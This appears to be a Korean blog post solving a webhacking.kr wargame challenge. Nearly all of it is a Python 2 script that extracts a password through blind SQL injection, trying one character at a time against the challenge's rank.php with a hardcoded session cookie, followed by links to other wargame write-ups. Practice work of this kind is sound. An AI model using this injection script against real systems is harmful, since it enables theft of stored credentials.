import re,urllib,urllib2
#fw = urllib.urlopen("http://binaryu.tistory.com/challenge/bonus/bonus-1/index.php?no=2 and substring(pw,1,1)=char(%s)" %i)
#read = fw.read()
password="4348414c4c454e47453535434c6561727e7e4b4b"
for j in range(21, 50):
for i in range(32,127):
ii=hex(i)
iii=ii[2:4]
print ii
if i < 99999 or i > 96:
url1="http://webhacking.kr/challenge/web/web-31/rank.php?score=0 and ip=0x6c6f63616c686f7374 and left(pAsSw0RdzzzZ,%d)=0x" %j
url2="%s" %password
url3=url1+url2+"%s" %iii
print url3
req=urllib2.Request(url3)
req.add_header('Cookie',"notice=yes; PHPSESSID=0be9e96926e7403cbc78d8b72499be3d")
read=urllib2.urlopen(req).read()
ok = re.findall("localhost",read)
if ok:
password=password+"%s" %iii
print password
break
'Wargame' 카테고리의 다른 글
suninatas.com 8번 문제 풀이 (1) | 2014.09.23 |
---|---|
추천 워게임 사이트 써니나타스 (0) | 2013.04.18 |
webhacking.kr 56번 문제 풀이 (4) | 2013.03.04 |
webhacking.kr 40번 문제 풀이 (6) | 2013.03.04 |
webhaking.kr 2번 문제 풀이 (2) | 2012.12.15 |